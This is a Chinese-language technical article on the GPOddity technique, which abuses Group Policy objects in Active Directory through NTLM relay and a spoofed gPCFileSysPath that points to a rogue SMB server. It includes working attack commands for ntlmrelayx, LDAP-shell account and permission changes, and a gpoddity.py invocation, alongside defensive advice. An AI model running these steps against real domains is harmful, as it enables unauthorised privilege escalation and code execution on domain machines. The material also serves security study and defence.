一种基于NTLM中间人的AD域横向移动方法
字数 1697 2025-08-24 07:48:10
基于NTLM中间人的AD域横向移动方法:GPOddity攻击详解
1. 概述
本文介绍了一种新型的Active Directory(AD)域横向移动方法,通过NTLM中间人攻击滥用组策略对象(GPO)权限实现域内权限提升。该方法利用gPCFileSysPath属性欺骗技术,克服了传统GPO攻击工具在NTLM中继场景下的局限性。
2. 背景知识
2.1 组策略(GPO)基础
组策略是AD域中用于集中管理用户和计算机配置的机制,由两部分组成:
-
组策略容器(GPC):
- LDAP对象,存储GPO元数据和权限配置
- 标识符格式:
CN={GUID},CN=Policies,CN=System,DC=domain,DC=com
-
组策略模板(GPT):
- SMB共享中的文件夹,存储实际策略内容
- 路径格式:
\\domain.com\SYSVOL\domain.com\Policies\{GUID}
默认刷新频率:
- 计算机和用户:每90分钟
- 域控制器:每5分钟
2.2 传统GPO攻击方法
传统GPO攻击需要:
- 完全控制对目标GPO有写权限的用户账户
- 修改GPC的LDAP属性(版本号和扩展名)
- 修改GPT中的
ScheduledTasks.xml文件注入恶意任务
局限性:
- 需要知道用户密码或NT哈希
- 在NTLM中继场景下无法修改SYSVOL共享中的GPT文件
3. 新型攻击方法:gPCFileSysPath欺骗
3.1 核心思路
通过修改GPC的gPCFileSysPath属性,将GPT位置重定向到攻击者控制的SMB服务器:
- 获取对GPC的写权限(通过NTLM中继)
- 克隆合法GPT内容并注入恶意任务
- 修改
gPCFileSysPath指向攻击者服务器 - 等待目标应用GPO时连接攻击者服务器获取恶意GPT
- 执行后恢复原始GPC属性
3.2 攻击步骤详解
3.2.1 初始访问
-
通过以下方式获取中间人位置:
- Responder
- MitM6
- ADIDNS(需要域权限)
-
使用ntlmrelayx中继NTLM认证到LDAP:
ntlmrelayx -t 'ldaps://DC_IP' -wh 'attacker_IP:8080' --http-port '80,8080' -i
3.2.2 权限提升
-
通过LDAP Shell创建计算机账户:
add_computer ATTACKER$ Password123 -
授予计算机账户对目标GPO的写权限:
write_gpo_dacl ATTACKER$ {GPO_GUID}
3.2.3 实施GPOddity攻击
python3 gpoddity.py \
--gpo-id 'GPO_GUID' \
--domain 'domain.com' \
--username 'ATTACKER$' \
--password 'Password123' \
--command '恶意命令' \
--rogue-smbserver-ip '攻击者IP' \
--rogue-smbserver-share '共享名'
3.3 技术难点与解决方案
-
SMB身份验证问题:
- 域计算机会拒绝匿名SMB访问
- 解决方案:实现NETLOGON验证获取会话密钥
-
安全协商验证:
- Windows默认启用
FSCTL_VALIDATE_NEGOTIATE_INFO - 解决方案:使用有效计算机账户通过NETLOGON获取签名密钥
- Windows默认启用
-
NETLOGON安全要求:
- 需要安全RPC通道(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
- 解决方案:配置签名和密封的RPC通信
4. 针对用户GPO的特殊情况
当GPO链接到用户而非计算机时:
- 用户首先连接获取
gpt.ini - 域控制器随后尝试连接获取其他文件
- 第二次连接通常会失败(可能由于UNC加固)
解决方案:
- 使用
--gpo-type user和--no-smb-server参数 - 在已加入域的计算机上托管恶意GPT
5. 防御措施
-
保护敏感账户:
- 将对GPO的写权限限制给专用管理账户
- 将这些账户加入"Protected Users"组(禁用NTLM认证)
-
服务加固:
- 在LDAP服务上启用签名和通道绑定
- 启用SMB签名
-
监控与检测:
- 监控
gPCFileSysPath属性的异常修改 - 检查GPO版本号的异常变化
- 监控
6. GPOddity工具特点
-
优势:
- 支持NTLM中继场景
- 不直接修改原始GPT文件,降低风险
- 攻击后自动清理,隐蔽性高
-
限制:
- 用户GPO需要已加入域的SMB服务器
- 依赖NETLOGON协议获取会话密钥
7. 总结
本文介绍的攻击方法通过滥用gPCFileSysPath属性,成功实现了在NTLM中继场景下的GPO滥用,突破了传统工具的限制。这种技术再次证明了AD域中权限配置和认证机制安全的重要性,特别是对于组策略这种高价值目标的管理。